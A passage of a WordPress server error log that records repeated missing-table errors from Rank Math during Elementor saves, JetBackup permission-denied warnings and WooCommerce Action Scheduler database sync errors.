/home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 21:55:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1360 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:55:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1360 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:58:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1359 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:58:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1359 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:59:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:59:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1361 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:59:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:59:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1362 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:59:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 21:59:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1363 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:00:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:00:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1364 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:00:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:00:35 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1365 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:00:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:00:36 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1366 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:04:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:04:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1367 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:04:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:04:16 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1368 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:04:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [06-Jun-2026 22:04:17 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1369 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:16:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:16:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:17:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:18:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:18:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:19:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:20:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:21:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:21:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:21:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [06-Jun-2026 22:21:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [06-Jun-2026 22:21:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [06-Jun-2026 22:21:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [06-Jun-2026 22:21:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '6a249d5c7d34d0.50872770|1780784536', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [06-Jun-2026 22:21:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in 